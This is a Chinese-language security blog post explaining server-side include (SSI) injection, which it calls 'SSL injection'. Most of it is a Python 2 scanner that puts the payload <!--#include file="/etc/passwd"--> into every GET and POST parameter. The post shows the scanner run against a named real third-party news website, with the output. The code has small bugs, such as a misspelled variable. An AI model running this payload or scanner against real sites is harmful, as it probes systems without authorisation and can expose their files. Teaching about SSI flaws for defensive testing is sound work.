本系列文章将与大家一起学习探讨网络安全知识,但我们不做脚本小子。 在计算机和网络领域里,脚本小子(script kiddie)是一个贬义词用来描述以黑客自居并沾沾自喜的初学者。 他们钦慕于黑客的能力与探索精神,但与黑客所不同的是,脚本小子通常只是对计算机系统有基础了解与爱好, 但并不注重程序语言、算法、和数据结构的研究,虽然这些对于真正伟大的黑客来说是必须具备的素质。 他们常常从某些网站上复制脚本代码,然后到处粘贴,却并不一定明白他们的方法与原理。所以一般在说明一个漏洞之后,会提供一个漏洞发现程序,由于Python的强大和网络库的丰富,所以选择了Python。本专题--网络安全[脚本小子],就是为了勉励我们不做脚本小子,同时暗喻我们会提供脚本,做自动化漏洞发现,成为真正的“脚本小子”。
所谓的SSL注入,其实就是服务器端文件包含,想深入了解的可以看这篇文档,http://lamp.linux.gov.cn/Apache/ApacheMenu/howto/ssi.html,很明显如果我们输入带SSL指令的url,那么服务器将会解析,输入<!--#include file="/etc/passwd"-->将会造成信息泄漏,有很大的隐患。
做渗透测试的大伙肯定知道要想发现漏洞,首先要发现Url,最好能够自动化,大家很熟悉的WVS是发掘漏洞很强大的工具,在我眼里完胜IBM Appcan。WVS是用Qt写的,使用了QtWebkit,所以能找到几乎所有的url,包括ajax,html5的url。由于有PyQt,所以完全可以用Python仿写,唉如果wvs开源多好,轻轻松松就可以移植到PyQt上(想多了吧。。。)。
自动化发现程序如下:
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import urllib
- import json
- def run(url,method,params):
- try:
- if method == 'get': #year1=20120923&year2=20130923
- params_dict = None
- try:
- params_dict = dict(map(lambda s: s.split('='),params.split('&'))) #params may "&page=&no=3249"
- except:
- return
- for row in params_dict:
- tmp = params_dict.copy()
- tmp[row] = '<!--#include%20file="/etc/passwd"-->'
- ret = []
- for k in tmp:
- ret.append(k+"="+tmp[k])
- new_url = "%s?%s" %(url, '&'.join(ret))
- opener = urllib.urlopen(new_url)
- content = opener.read()
- opener.close()
- if content.find("[an error occurred while processing this directive]") >= 0:
- res = opener.headers.dict
- res['status']='403'
- print 'bingo',new_url,content
- break
- elif method == 'post': #[{"type":"hidden","name":"num","value":""},{"type":"hidden","name":"asu","value":""}]
- params_list = json.read(params)
- params = []
- for params_dict in params_list:
- params.append((params_dict['name'],params_dict['value']))
- params_dict = dict(params)
- for row in params_dict:
- tmp = params_dict.copy()
- tmp[row] = '<!--#include file="/etc/passwd"-->'
- data = urllib.urlencode(tmp)
- opener = urllib.urlopen(url,data)
- content = opener.read()
- opener.close()
- if content.find("[an error occurred while processing this directive]") >= 0:
- res = opener.headers.dict
- res['status']='403'
- print 'bingo',url,data,contet
- break
- except Exception,e:
- print str(e)
- if __name__ == '__main__':
- run('http://hpc.ebn.co.kr/news/n_view.html','get','id=630432&kind=menu_code&keys=70')
- bingo http://hpc.ebn.co.kr/news/n_view.html?keys=<!--#include%20file="/etc/passwd"-->&kind=menu_code&id=630432 [an error occurred while processing this directive]
- You don't have permission to access the requested object.
- It is either read-protected or not readable by the server.
- [an error occurred while processing this directive]